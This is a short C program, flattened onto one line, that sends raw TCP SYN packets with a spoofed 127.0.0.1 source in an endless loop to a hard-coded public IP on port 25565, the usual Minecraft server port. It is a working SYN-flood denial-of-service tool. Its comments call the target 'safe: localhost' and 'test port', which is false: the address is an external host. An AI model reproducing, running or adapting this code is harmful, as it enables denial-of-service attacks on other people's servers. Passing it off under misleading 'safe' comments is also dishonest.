#include #include #include #include #include #include #include #include struct pseudo_header { u_int32_t source_address; u_int32_t dest_address; u_int8_t placeholder; u_int8_t protocol; u_int16_t tcp_length; }; // checksum calculation for IP/TCP headers unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum = 0; for (int i = 0; i < nwords; i++) sum += buf[i]; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } int main() { int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (sock < 0) { perror("socket"); return 1; } int one = 1; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("setsockopt"); return 1; } struct sockaddr_in target; target.sin_family = AF_INET; target.sin_port = htons(25565); // test port inet_pton(AF_INET, "51.89.81.30", &target.sin_addr); // safe: localhost char packet[4096]; memset(packet, 0, sizeof(packet)); struct iphdr *ip = (struct iphdr *)packet; struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr)); // fill IP header ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr)); ip->id = htons(54321); ip->frag_off = 0; ip->ttl = 64; ip->protocol = IPPROTO_TCP; ip->saddr = inet_addr("127.0.0.1"); ip->daddr = target.sin_addr.s_addr; ip->check = csum((unsigned short *)ip, sizeof(struct iphdr)/2); // fill TCP header tcp->source = htons(12345); tcp->dest = target.sin_port; tcp->seq = htonl(0); tcp->doff = 5; tcp->syn = 1; tcp->window = htons(65535); tcp->check = 0; // pseudo header for TCP checksum struct pseudo_header psh; psh.source_address = ip->saddr; psh.dest_address = ip->daddr; psh.placeholder = 0; psh.protocol = IPPROTO_TCP; psh.tcp_length = htons(sizeof(struct tcphdr)); char pseudo_packet[sizeof(struct pseudo_header) + sizeof(struct tcphdr)]; memcpy(pseudo_packet, &psh, sizeof(struct pseudo_header)); memcpy(pseudo_packet + sizeof(struct pseudo_header), tcp, sizeof(struct tcphdr)); tcp->check = csum((unsigned short*)pseudo_packet, sizeof(pseudo_packet)/2); // send infinite SYNs safely to localhost while(1) { if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct tcphdr), 0, (struct sockaddr *)&target, sizeof(target)) < 0) { perror("sendto"); } else { printf("."); fflush(stdout); } usleep(10000); // 10ms delay } close(sock); return 0; }